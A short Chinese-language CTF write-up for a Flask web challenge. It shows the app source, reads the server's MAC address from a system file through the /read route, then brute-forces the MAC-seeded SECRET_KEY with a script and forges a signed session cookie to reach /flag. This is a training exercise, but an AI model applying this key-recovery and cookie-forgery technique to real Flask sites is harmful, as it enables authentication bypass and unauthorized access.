做了一道Buu上的华东南赛区的web 第一次接触攻击伪随机数的思路 感觉比较有意思 记录一下
题目可以直接读取到app.py的源码
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
可以看到是一个典型的flask cookie伪造的题目
既然是伪造cookie 就要得到serect_key
serect_key使用伪随机数生成,用mac地址作为随机种子
放一段百度百科的定义
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。
伪随机数在生成的时候会根据随机种子生成随机数表,每次生成直接取随机数表的下一位,也就是在得到随机数种子的情况下,伪随机数有被爆破碰撞的可能。
url=/sys/class/net/eth0/address
读取到网卡地址
写一个脚本调用session_cookie_manager2.py中的方法暴力解密,得到serect_key后对cookie修改之后重新签名,访问/flag 得到flag
exp:
import random
import session_cookie_manager
mac = "02:42:ae:00:26:14"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
SECRET_KEY = str(random.random() * 233)
rs = session_cookie_manager.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Xe7vXw.Ryuzsdl4b9o5Idr5o7xguQg9hwk', SECRET_KEY)
if 'error' not in rs:
print(SECRET_KEY)
rs[u'username'] = 'fuck'
print(str(rs))
print(session_cookie_manager.FSCM.encode(SECRET_KEY, str(rs)))
break
0 条评论